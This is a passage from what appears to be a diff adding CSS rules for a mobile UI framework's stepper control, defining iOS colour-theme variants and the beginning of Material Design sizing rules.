.stepper-button-minus:after, +.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #000000; + border-color: #000000; + background-color: transparent; +} +.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #000000; +} +.ios .stepper.color-red .stepper-button, +.ios .stepper.color-red .stepper-button-minus, +.ios .stepper.color-red .stepper-button-plus { + border-color: #ff3b30; + color: #ff3b30; +} +.ios .stepper.color-red .stepper-button.active-state, +.ios .stepper.color-red .stepper-button-minus.active-state, +.ios .stepper.color-red .stepper-button-plus.active-state { + background-color: rgba(255, 59, 48, 0.15); +} +.ios .stepper.color-red .stepper-button-plus:after, +.ios .stepper.color-red .stepper-button-minus:after, +.ios .stepper.color-red .stepper-button-plus:before, +.ios .stepper.color-red .stepper-button-minus:before { + background-color: #ff3b30; +} +.ios .stepper.color-red .stepper-value, +.ios .stepper.color-red .stepper-input-wrap { + border-top-color: #ff3b30; + border-bottom-color: #ff3b30; +} +.ios .stepper.color-red .stepper-value { + color: #ff3b30; +} +.ios .stepper.color-red .stepper-input-wrap input { + color: #ff3b30; +} +.ios .stepper.color-red.stepper-fill .stepper-button, +.ios .stepper.color-red.stepper-fill-ios .stepper-button, +.ios .stepper.color-red.stepper-fill .stepper-button-minus, +.ios .stepper.color-red.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-red.stepper-fill .stepper-button-plus, +.ios .stepper.color-red.stepper-fill-ios .stepper-button-plus { + background-color: #ff3b30; +} +.ios .stepper.color-red.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-red.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-red.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-red.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-red.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-red.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-red.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-red.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ff3b30; + border-color: #ff3b30; + background-color: transparent; +} +.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ff3b30; +} +.ios .stepper.color-green .stepper-button, +.ios .stepper.color-green .stepper-button-minus, +.ios .stepper.color-green .stepper-button-plus { + border-color: #4cd964; + color: #4cd964; +} +.ios .stepper.color-green .stepper-button.active-state, +.ios .stepper.color-green .stepper-button-minus.active-state, +.ios .stepper.color-green .stepper-button-plus.active-state { + background-color: rgba(76, 217, 100, 0.15); +} +.ios .stepper.color-green .stepper-button-plus:after, +.ios .stepper.color-green .stepper-button-minus:after, +.ios .stepper.color-green .stepper-button-plus:before, +.ios .stepper.color-green .stepper-button-minus:before { + background-color: #4cd964; +} +.ios .stepper.color-green .stepper-value, +.ios .stepper.color-green .stepper-input-wrap { + border-top-color: #4cd964; + border-bottom-color: #4cd964; +} +.ios .stepper.color-green .stepper-value { + color: #4cd964; +} +.ios .stepper.color-green .stepper-input-wrap input { + color: #4cd964; +} +.ios .stepper.color-green.stepper-fill .stepper-button, +.ios .stepper.color-green.stepper-fill-ios .stepper-button, +.ios .stepper.color-green.stepper-fill .stepper-button-minus, +.ios .stepper.color-green.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-green.stepper-fill .stepper-button-plus, +.ios .stepper.color-green.stepper-fill-ios .stepper-button-plus { + background-color: #4cd964; +} +.ios .stepper.color-green.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-green.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-green.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-green.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-green.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-green.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-green.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-green.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #4cd964; + border-color: #4cd964; + background-color: transparent; +} +.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #4cd964; +} +.ios .stepper.color-blue .stepper-button, +.ios .stepper.color-blue .stepper-button-minus, +.ios .stepper.color-blue .stepper-button-plus { + border-color: #007aff; + color: #007aff; +} +.ios .stepper.color-blue .stepper-button.active-state, +.ios .stepper.color-blue .stepper-button-minus.active-state, +.ios .stepper.color-blue .stepper-button-plus.active-state { + background-color: rgba(0, 122, 255, 0.15); +} +.ios .stepper.color-blue .stepper-button-plus:after, +.ios .stepper.color-blue .stepper-button-minus:after, +.ios .stepper.color-blue .stepper-button-plus:before, +.ios .stepper.color-blue .stepper-button-minus:before { + background-color: #007aff; +} +.ios .stepper.color-blue .stepper-value, +.ios .stepper.color-blue .stepper-input-wrap { + border-top-color: #007aff; + border-bottom-color: #007aff; +} +.ios .stepper.color-blue .stepper-value { + color: #007aff; +} +.ios .stepper.color-blue .stepper-input-wrap input { + color: #007aff; +} +.ios .stepper.color-blue.stepper-fill .stepper-button, +.ios .stepper.color-blue.stepper-fill-ios .stepper-button, +.ios .stepper.color-blue.stepper-fill .stepper-button-minus, +.ios .stepper.color-blue.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-blue.stepper-fill .stepper-button-plus, +.ios .stepper.color-blue.stepper-fill-ios .stepper-button-plus { + background-color: #007aff; +} +.ios .stepper.color-blue.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-blue.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-blue.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-blue.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-blue.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-blue.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-blue.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-blue.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #007aff; + border-color: #007aff; + background-color: transparent; +} +.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #007aff; +} +.ios .stepper.color-pink .stepper-button, +.ios .stepper.color-pink .stepper-button-minus, +.ios .stepper.color-pink .stepper-button-plus { + border-color: #ff2d55; + color: #ff2d55; +} +.ios .stepper.color-pink .stepper-button.active-state, +.ios .stepper.color-pink .stepper-button-minus.active-state, +.ios .stepper.color-pink .stepper-button-plus.active-state { + background-color: rgba(255, 45, 85, 0.15); +} +.ios .stepper.color-pink .stepper-button-plus:after, +.ios .stepper.color-pink .stepper-button-minus:after, +.ios .stepper.color-pink .stepper-button-plus:before, +.ios .stepper.color-pink .stepper-button-minus:before { + background-color: #ff2d55; +} +.ios .stepper.color-pink .stepper-value, +.ios .stepper.color-pink .stepper-input-wrap { + border-top-color: #ff2d55; + border-bottom-color: #ff2d55; +} +.ios .stepper.color-pink .stepper-value { + color: #ff2d55; +} +.ios .stepper.color-pink .stepper-input-wrap input { + color: #ff2d55; +} +.ios .stepper.color-pink.stepper-fill .stepper-button, +.ios .stepper.color-pink.stepper-fill-ios .stepper-button, +.ios .stepper.color-pink.stepper-fill .stepper-button-minus, +.ios .stepper.color-pink.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-pink.stepper-fill .stepper-button-plus, +.ios .stepper.color-pink.stepper-fill-ios .stepper-button-plus { + background-color: #ff2d55; +} +.ios .stepper.color-pink.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-pink.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-pink.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-pink.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-pink.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-pink.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-pink.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-pink.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ff2d55; + border-color: #ff2d55; + background-color: transparent; +} +.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ff2d55; +} +.ios .stepper.color-yellow .stepper-button, +.ios .stepper.color-yellow .stepper-button-minus, +.ios .stepper.color-yellow .stepper-button-plus { + border-color: #ffcc00; + color: #ffcc00; +} +.ios .stepper.color-yellow .stepper-button.active-state, +.ios .stepper.color-yellow .stepper-button-minus.active-state, +.ios .stepper.color-yellow .stepper-button-plus.active-state { + background-color: rgba(255, 204, 0, 0.15); +} +.ios .stepper.color-yellow .stepper-button-plus:after, +.ios .stepper.color-yellow .stepper-button-minus:after, +.ios .stepper.color-yellow .stepper-button-plus:before, +.ios .stepper.color-yellow .stepper-button-minus:before { + background-color: #ffcc00; +} +.ios .stepper.color-yellow .stepper-value, +.ios .stepper.color-yellow .stepper-input-wrap { + border-top-color: #ffcc00; + border-bottom-color: #ffcc00; +} +.ios .stepper.color-yellow .stepper-value { + color: #ffcc00; +} +.ios .stepper.color-yellow .stepper-input-wrap input { + color: #ffcc00; +} +.ios .stepper.color-yellow.stepper-fill .stepper-button, +.ios .stepper.color-yellow.stepper-fill-ios .stepper-button, +.ios .stepper.color-yellow.stepper-fill .stepper-button-minus, +.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-yellow.stepper-fill .stepper-button-plus, +.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-plus { + background-color: #ffcc00; +} +.ios .stepper.color-yellow.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-yellow.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-yellow.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-yellow.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ffcc00; + border-color: #ffcc00; + background-color: transparent; +} +.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ffcc00; +} +.ios .stepper.color-orange .stepper-button, +.ios .stepper.color-orange .stepper-button-minus, +.ios .stepper.color-orange .stepper-button-plus { + border-color: #ff9500; + color: #ff9500; +} +.ios .stepper.color-orange .stepper-button.active-state, +.ios .stepper.color-orange .stepper-button-minus.active-state, +.ios .stepper.color-orange .stepper-button-plus.active-state { + background-color: rgba(255, 149, 0, 0.15); +} +.ios .stepper.color-orange .stepper-button-plus:after, +.ios .stepper.color-orange .stepper-button-minus:after, +.ios .stepper.color-orange .stepper-button-plus:before, +.ios .stepper.color-orange .stepper-button-minus:before { + background-color: #ff9500; +} +.ios .stepper.color-orange .stepper-value, +.ios .stepper.color-orange .stepper-input-wrap { + border-top-color: #ff9500; + border-bottom-color: #ff9500; +} +.ios .stepper.color-orange .stepper-value { + color: #ff9500; +} +.ios .stepper.color-orange .stepper-input-wrap input { + color: #ff9500; +} +.ios .stepper.color-orange.stepper-fill .stepper-button, +.ios .stepper.color-orange.stepper-fill-ios .stepper-button, +.ios .stepper.color-orange.stepper-fill .stepper-button-minus, +.ios .stepper.color-orange.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-orange.stepper-fill .stepper-button-plus, +.ios .stepper.color-orange.stepper-fill-ios .stepper-button-plus { + background-color: #ff9500; +} +.ios .stepper.color-orange.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-orange.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-orange.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-orange.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-orange.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-orange.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-orange.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-orange.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ff9500; + border-color: #ff9500; + background-color: transparent; +} +.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ff9500; +} +.ios .stepper.color-gray .stepper-button, +.ios .stepper.color-gray .stepper-button-minus, +.ios .stepper.color-gray .stepper-button-plus { + border-color: #8e8e93; + color: #8e8e93; +} +.ios .stepper.color-gray .stepper-button.active-state, +.ios .stepper.color-gray .stepper-button-minus.active-state, +.ios .stepper.color-gray .stepper-button-plus.active-state { + background-color: rgba(142, 142, 147, 0.15); +} +.ios .stepper.color-gray .stepper-button-plus:after, +.ios .stepper.color-gray .stepper-button-minus:after, +.ios .stepper.color-gray .stepper-button-plus:before, +.ios .stepper.color-gray .stepper-button-minus:before { + background-color: #8e8e93; +} +.ios .stepper.color-gray .stepper-value, +.ios .stepper.color-gray .stepper-input-wrap { + border-top-color: #8e8e93; + border-bottom-color: #8e8e93; +} +.ios .stepper.color-gray .stepper-value { + color: #8e8e93; +} +.ios .stepper.color-gray .stepper-input-wrap input { + color: #8e8e93; +} +.ios .stepper.color-gray.stepper-fill .stepper-button, +.ios .stepper.color-gray.stepper-fill-ios .stepper-button, +.ios .stepper.color-gray.stepper-fill .stepper-button-minus, +.ios .stepper.color-gray.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-gray.stepper-fill .stepper-button-plus, +.ios .stepper.color-gray.stepper-fill-ios .stepper-button-plus { + background-color: #8e8e93; +} +.ios .stepper.color-gray.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-gray.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-gray.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-gray.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-gray.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-gray.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-gray.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-gray.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #8e8e93; + border-color: #8e8e93; + background-color: transparent; +} +.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #8e8e93; +} +.ios .stepper.color-white .stepper-button, +.ios .stepper.color-white .stepper-button-minus, +.ios .stepper.color-white .stepper-button-plus { + border-color: #ffffff; + color: #ffffff; +} +.ios .stepper.color-white .stepper-button.active-state, +.ios .stepper.color-white .stepper-button-minus.active-state, +.ios .stepper.color-white .stepper-button-plus.active-state { + background-color: rgba(255, 255, 255, 0.15); +} +.ios .stepper.color-white .stepper-button-plus:after, +.ios .stepper.color-white .stepper-button-minus:after, +.ios .stepper.color-white .stepper-button-plus:before, +.ios .stepper.color-white .stepper-button-minus:before { + background-color: #ffffff; +} +.ios .stepper.color-white .stepper-value, +.ios .stepper.color-white .stepper-input-wrap { + border-top-color: #ffffff; + border-bottom-color: #ffffff; +} +.ios .stepper.color-white .stepper-value { + color: #ffffff; +} +.ios .stepper.color-white .stepper-input-wrap input { + color: #ffffff; +} +.ios .stepper.color-white.stepper-fill .stepper-button, +.ios .stepper.color-white.stepper-fill-ios .stepper-button, +.ios .stepper.color-white.stepper-fill .stepper-button-minus, +.ios .stepper.color-white.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-white.stepper-fill .stepper-button-plus, +.ios .stepper.color-white.stepper-fill-ios .stepper-button-plus { + background-color: #ffffff; +} +.ios .stepper.color-white.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-white.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-white.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-white.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-white.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-white.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-white.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-white.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ffffff; + border-color: #ffffff; + background-color: transparent; +} +.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ffffff; +} +.ios .stepper.color-black .stepper-button, +.ios .stepper.color-black .stepper-button-minus, +.ios .stepper.color-black .stepper-button-plus { + border-color: #000000; + color: #000000; +} +.ios .stepper.color-black .stepper-button.active-state, +.ios .stepper.color-black .stepper-button-minus.active-state, +.ios .stepper.color-black .stepper-button-plus.active-state { + background-color: rgba(0, 0, 0, 0.15); +} +.ios .stepper.color-black .stepper-button-plus:after, +.ios .stepper.color-black .stepper-button-minus:after, +.ios .stepper.color-black .stepper-button-plus:before, +.ios .stepper.color-black .stepper-button-minus:before { + background-color: #000000; +} +.ios .stepper.color-black .stepper-value, +.ios .stepper.color-black .stepper-input-wrap { + border-top-color: #000000; + border-bottom-color: #000000; +} +.ios .stepper.color-black .stepper-value { + color: #000000; +} +.ios .stepper.color-black .stepper-input-wrap input { + color: #000000; +} +.ios .stepper.color-black.stepper-fill .stepper-button, +.ios .stepper.color-black.stepper-fill-ios .stepper-button, +.ios .stepper.color-black.stepper-fill .stepper-button-minus, +.ios .stepper.color-black.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-black.stepper-fill .stepper-button-plus, +.ios .stepper.color-black.stepper-fill-ios .stepper-button-plus { + background-color: #000000; +} +.ios .stepper.color-black.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-black.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-black.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-black.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-black.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-black.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-black.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-black.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #000000; + border-color: #000000; + background-color: transparent; +} +.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #000000; +} +.md .stepper { + height: 36px; +} +.md .stepper-button, +.md .stepper-button-minus, +.md .stepper-button-plus { + border: 2px solid #2196f3; + color: #2196f3; + line-height: 34px; + height: 36px; + width: 40px; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + overflow: hidden; +} +.md .stepper-button + .stepper-button, +.md .stepper-button-minus + .stepper-button, +.md .stepper-button-plus + .stepper-button, +.md .stepper-button + .stepper-button-minus, +.md .stepper-button-minus + .stepper-button-minus, +.md .stepper-button-plus + .stepper-button-minus, +.md .stepper-button + .stepper-button-plus, +.md .stepper-button-minus + .stepper-button-plus, +.md .stepper-button-plus + .stepper-button-plus { + border-right: none; +} +.md .stepper-button.active-state, +.md .stepper-button-minus.active-state, +.md 